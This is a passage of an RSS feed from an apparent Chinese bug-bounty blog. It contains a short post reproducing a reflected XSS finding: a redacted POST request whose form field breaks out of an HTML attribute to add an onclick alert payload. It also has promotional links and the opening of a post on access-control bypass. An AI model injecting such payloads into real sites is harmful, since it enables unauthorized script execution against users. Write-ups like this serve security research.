data-linktype="2">一款bp神器</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496898&amp;idx=1&amp;sn=b6088e20a8b4fc9fbd887b900d8c5247&amp;scene=21#wechat_redirect" textvalue="挖掘有回显ssrf的隐藏payload" data-itemshowtype="0" linktype="text" data-linktype="2">挖掘有回显ssrf的隐藏payload</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495841&amp;idx=1&amp;sn=bbf477afa30391b8072d23469645d026&amp;chksm=e8a5fac2dfd273d42344f18c7c6f0f7a158cca94041c4c4db330c3adf2d1f77f062dcaf6c5e0&amp;scene=21#wechat_redirect" textvalue="ssrf绕过新思路" data-itemshowtype="0" linktype="text" data-linktype="2">ssrf绕过新思路</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496380&amp;idx=1&amp;sn=78c0c4c67821f5ecbe4f3947b567eeec&amp;chksm=e8a5f8dfdfd271c935aeb4444ea7e928c55cb4c823c51f1067f267699d71a1aad086cf203b99&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">一个辅助测试ssrf的工具</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247488819&amp;idx=1&amp;sn=5141f88f3e70b9c97e63a4b68689bf6e&amp;chksm=e8a61f50dfd1964692f93412f122087ac160b743b4532ee0c1e42a83039de62825ebbd066a1e&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">dom-xss精选文章</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487187&amp;idx=1&amp;sn=622438ee6492e4c639ebd8500384ab2f&amp;chksm=e8a604b0dfd18da6c459b4705abd520cc2259a607dd9306915d845c1965224cc117207fc6236&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">年度精选文章</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487122&amp;idx=1&amp;sn=32459310408d126aa43240673b8b0846&amp;chksm=e8a604f1dfd18de737769dd512ad4063a3da328117b8a98c4ca9bc5b48af4dcfa397c667f4e3&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">Nuclei权威指南-如何躺赚</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486973&amp;idx=1&amp;sn=6ec419db11ff93d30aa2fbc04d8dbab6&amp;chksm=e8a6079edfd18e88f6236e237837ee0d1101489d52f2abb28532162e2937ec4612f1be52a88f&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试设置功能IV</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试注册功能以及相关Tips</a></span><span style="display: none;line-height: 0px;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">‍</a></span></span></p><p style="margin-bottom: 24px;"><page></page></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=fb62a443&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTIzNTM0MA%3D%3D%26mid%3D2247499608%26idx%3D1%26sn%3Ddbc0176bdee0182256a678e443f2aa2f">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 26 Jun 2026 11:00:00 +0800</pubDate>
    </item>
    <item>
      <title>一个xss</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247499604&amp;idx=1&amp;sn=fca06ab4903f333dfd740c5800d19628</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>h1</span> <span>2026-06-25 11:00</span> <span style="display: inline-block;">四川</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=04a6aa23&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F7xtecWUgCRwy7Uwp3EGSSDKFVk9GT4yXz9IicTmx7vBtMfyCnibxvPyyZee8Buk8dGHPxzLV3yfN54LOFh4vRcEpoOabcQ3nrvoVcW86qaF40%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <h2 data-cacheurl="" data-pm-slice="0 0 []" data-remoteid="" style="box-sizing: border-box;margin: 30px 0px 15px;color: rgba(0, 0, 0, 0.85);font-weight: 500;cursor: pointer;padding: 0px;background: none center center / 63px no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;justify-content: center;line-height: 1.5em;overflow: unset; text-align: left;text-shadow: none;transform: none;-webkit-box-reflect: unset;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=6b0b12b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7xtecWUgCRzzPUmNpQuyHAMNSSENJb9cQyvia6QAQ8zickD7cnxklhjBFR3cg5OhH0gfh6e6qib7wRqS5YwQmS4aVibgzpKtQAwsABZd4bdWMzo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg&#34;);"><span style=" box-sizing: border-box;cursor: pointer;font-size: 18px;color: rgb(72, 179, 120);line-height: 2.4em;letter-spacing: 0em;margin: 38px 0px 10px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;align-items: unset;background: none 0% 0% / auto no-repeat scroll padding-box border-box transparent;box-shadow: none;content: unset;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: 38px;justify-content: unset;overflow: unset;padding: 0px; text-align: center;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset; "><span leaf="">正文</span></span></h2><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">触发漏洞的请求如下</span></p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin: 10px 0px;overflow: auto;cursor: pointer;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;padding: 0px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);cursor: pointer;border-radius: 5px;"><span leaf="">POST /██████/███████-historic.cfm HTTP/1.1</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Host: █████████</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Cookie: CFID=29878711; CFTOKEN=71972184</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Accept-Language: en-US,en;q=0.5</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Accept-Encoding: gzip, deflate</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Content-Type: application/x-www-form-urlencoded</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Content-Length: 347</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Origin: null</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Upgrade-Insecure-Requests: 1</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Sec-Fetch-Dest: document</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Sec-Fetch-Mode: navigate</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Sec-Fetch-Site: same-origin</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Sec-Fetch-User: ?1</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Te: trailers</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Connection: close</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">fld_graphfs=Y&amp;fld_graphrs=N&amp;fld_graphy1=N&amp;fld_graphy2=N&amp;fld_normal=Y&amp;fld_max=Y&amp;fld_min=Y&amp;Submit=View-Graph&amp;fld_from1=01%2F01%2F2023&amp;fld_to1=12%2F31%2F2023&amp;fld_displaytype=S</span><span style="box-sizing: border-box;color: rgb(152, 195, 121);cursor: pointer;line-height: 26px;"><span leaf="">&#34;%20accesskey%3d&#34;</span></span><span leaf="">X</span><span style="box-sizing: border-box;color: rgb(152, 195, 121);cursor: pointer;line-height: 26px;"><span leaf="">&#34;%20onclick%3d&#34;</span></span><span leaf="">alert(</span><span style="box-sizing: border-box;color: rgb(152, 195, 121);cursor: pointer;line-height: 26px;"><span leaf="">&#39;XSS Success!&#39;</span></span><span leaf="">)&amp;fld_type1=Plot&amp;fld_frompor=&amp;fld_topor=&amp;fld_year1=2023&amp;fld_year2=2023&amp;fld_mon1=01&amp;fld_day1=01&amp;fld_mon2=12&amp;fld_day2=31&amp;fld_param=HT</span></code></pre><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">payload为</span></p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin: 10px 0px;overflow: auto;cursor: pointer;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;padding: 0px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);cursor: pointer;border-radius: 5px;"><span leaf="">S</span><span style="box-sizing: border-box;color: rgb(152, 195, 121);cursor: pointer;line-height: 26px;"><span leaf="">&#34; accesskey=&#34;</span></span><span leaf="">X</span><span style="box-sizing: border-box;color: rgb(152, 195, 121);cursor: pointer;line-height: 26px;"><span leaf="">&#34; onclick=&#34;</span></span><span leaf="">alert(</span><span style="box-sizing: border-box;color: rgb(152, 195, 121);cursor: pointer;line-height: 26px;"><span leaf="">&#39;XSS Success!&#39;</span></span><span leaf="">)</span></code></pre><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">6</span></p><p style="text-align: center;" data-pm-slice="2 2 []"><span leaf="">如果你是一个长期主义者，欢迎加入我的知识星球，本星球日日更新,包含号主大量一线实战,全网独一无二，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款</span></p><p><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012574" data-ratio="0.5493333333333333" data-s="300,640" data-w="750" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=033161f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYmmVSe19Qj5EMr3X76qdKBrhIIkBlVVyuiaiasseFZ9LqtibyKFk7gXvgTU2C2yEwKLaaqfX0DL3eoH6gTcNLJvDQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p><span style="box-sizing: border-box;text-align: center;display: inline-block;height: 38px;line-height: 42px;color: rgb(72, 179, 120);background-position: left center;background-repeat: no-repeat;background-attachment: initial;background-origin: initial;background-clip: initial;background-size: 63px;margin-top: 38px;font-size: 18px;margin-bottom: 10px;"><span leaf="">往期回顾</span></span></p><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497813&amp;idx=1&amp;sn=c778ad6a4bffd7a0a72a900144ea90ca&amp;scene=21#wechat_redirect" textvalue="如何利用ai辅助挖漏洞" data-itemshowtype="0" linktype="text" data-linktype="2">如何利用ai辅助挖漏洞</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497880&amp;idx=1&amp;sn=b9b980464333074216b55ea94c8a743a&amp;scene=21#wechat_redirect" textvalue="如何在移动端抓包-下" data-itemshowtype="0" linktype="text" data-linktype="2">如何在移动端抓包-下</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;h1&#34;,&#34;attributes&#34;:{&#34;id&#34;:&#34;activity-name&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497491&amp;idx=1&amp;sn=a1b00b9a8a54eb96aa3ba8bf23cb7e28&amp;scene=21#wechat_redirect" textvalue="如何绕过签名校验" data-itemshowtype="0" linktype="text" data-linktype="2">如何绕过签名校验</a></span></h1><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495880&amp;idx=1&amp;sn=65d42fbff5e198509e55072674ac5283&amp;chksm=e8a5faabdfd273bd55df8f7db3d644d3102d7382020234741e37ca29e963eace13dd17fcabdd&amp;scene=21#wechat_redirect" textvalue="一款bp神器" data-itemshowtype="0" linktype="text" data-linktype="2">一款bp神器</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496898&amp;idx=1&amp;sn=b6088e20a8b4fc9fbd887b900d8c5247&amp;scene=21#wechat_redirect" textvalue="挖掘有回显ssrf的隐藏payload" data-itemshowtype="0" linktype="text" data-linktype="2">挖掘有回显ssrf的隐藏payload</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495841&amp;idx=1&amp;sn=bbf477afa30391b8072d23469645d026&amp;chksm=e8a5fac2dfd273d42344f18c7c6f0f7a158cca94041c4c4db330c3adf2d1f77f062dcaf6c5e0&amp;scene=21#wechat_redirect" textvalue="ssrf绕过新思路" data-itemshowtype="0" linktype="text" data-linktype="2">ssrf绕过新思路</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496380&amp;idx=1&amp;sn=78c0c4c67821f5ecbe4f3947b567eeec&amp;chksm=e8a5f8dfdfd271c935aeb4444ea7e928c55cb4c823c51f1067f267699d71a1aad086cf203b99&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">一个辅助测试ssrf的工具</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247488819&amp;idx=1&amp;sn=5141f88f3e70b9c97e63a4b68689bf6e&amp;chksm=e8a61f50dfd1964692f93412f122087ac160b743b4532ee0c1e42a83039de62825ebbd066a1e&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">dom-xss精选文章</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487187&amp;idx=1&amp;sn=622438ee6492e4c639ebd8500384ab2f&amp;chksm=e8a604b0dfd18da6c459b4705abd520cc2259a607dd9306915d845c1965224cc117207fc6236&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">年度精选文章</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487122&amp;idx=1&amp;sn=32459310408d126aa43240673b8b0846&amp;chksm=e8a604f1dfd18de737769dd512ad4063a3da328117b8a98c4ca9bc5b48af4dcfa397c667f4e3&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">Nuclei权威指南-如何躺赚</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486973&amp;idx=1&amp;sn=6ec419db11ff93d30aa2fbc04d8dbab6&amp;chksm=e8a6079edfd18e88f6236e237837ee0d1101489d52f2abb28532162e2937ec4612f1be52a88f&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试设置功能IV</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试注册功能以及相关Tips</a></span><span style="display: none;line-height: 0px;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">‍</a></span></span></p><h2 data-cacheurl="" data-remoteid="" style="box-sizing: border-box;margin: 30px 0px 15px;color: rgba(0, 0, 0, 0.85);font-weight: 500;cursor: pointer;padding: 0px;background: none center center / 63px no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;justify-content: center;line-height: 1.5em;overflow: unset; text-align: left;text-shadow: none;transform: none;-webkit-box-reflect: unset;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=bf86f436&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7xtecWUgCRwSTv0JcoGCVzWUyJms28m7ibicEYiaypN2XTLQJicQiayrD8K3Eg53SDFGEVqODMd7ic5dGb156v5IAYIJeGsoFYibiaJ4pWEgnRtf8uY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg&#34;);"><span style=" box-sizing: border-box;cursor: pointer;font-size: 18px;color: rgb(72, 179, 120);line-height: 2.4em;letter-spacing: 0em;margin: 38px 0px 10px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;align-items: unset;background: none 0% 0% / auto no-repeat scroll padding-box border-box transparent;box-shadow: none;content: unset;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: 38px;justify-content: unset;overflow: unset;padding: 0px; text-align: center;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset; "><span leaf="">参考</span></span></h2><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><a href="https://hackerone.com/reports/1850235" target="_blank">https://hackerone.com/reports/1850235</a></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e325e5ed&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTIzNTM0MA%3D%3D%26mid%3D2247499604%26idx%3D1%26sn%3Dfca06ab4903f333dfd740c5800d19628">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 25 Jun 2026 11:00:00 +0800</pubDate>
    </item>
    <item>
      <title>通过改变请求方法实现权限绕过</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247499596&amp;idx=1&amp;sn=a04c4bbc88d90bac16deacf00c5c99dc</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>h1</span> <span>2026-06-24 11:00</span> <span style="display: inline-block;">四川</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=991eeee5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F7xtecWUgCRx234XMhrEWOKXPDLFPbDNqxpPJs60BxYE8gOxU8prrz34LDItvhO4sD3iaRfQaoKJXYEErVJMUQuBxE8gXQlvEzcsKKhVTzs2c%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <h2 data-cacheurl="" data-pm-slice="0 0 []" data-remoteid="" style="box-sizing: border-box;margin: 30px 0px 15px;color: rgba(0, 0, 0, 0.85);font-weight: 500;cursor: pointer;padding: 0px;background: none center center / 63px no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;justify-content: center;line-height: 1.5em;overflow: unset; text-align: left;text-shadow: none;transform: none;-webkit-box-reflect: unset;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=e5790d9a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7xtecWUgCRykkibqbiadn813tEicVnTlWicoXy3ibZHJlmtkj8j8XM3a2aiaYtwHJVzgJia2a5eqQ7WeYnueXJ5sGxHPHV8DicSlXJqoWgnwgTNKjX8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg&#34;);"><span style=" box-sizing: border-box;cursor: pointer;font-size: 18px;color: rgb(72, 179, 120);line-height: 2.4em;letter-spacing: 0em;margin: 38px 0px 10px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;align-items: unset;background: none 0% 0% / auto no-repeat scroll padding-box border-box transparent;box-shadow: none;content: unset;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: 38px;justify-content: unset;overflow: unset;padding: 0px; text-align: center;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset; "><span leaf="">正文</span></span></h2><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">假设存在一条企业全域共享：用户可从该共享中转存文件，但无法直接下载。举例说明：</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">用户 1 创建文件夹共享，开启二次转发权限、关闭下载权限，共享 ID 为 10，并分享给用户 2；</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">用户 2 再将该文件夹二次共享给用户 3，生成共享 ID 为 11，上述流程原本符合系统权限规则。</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: 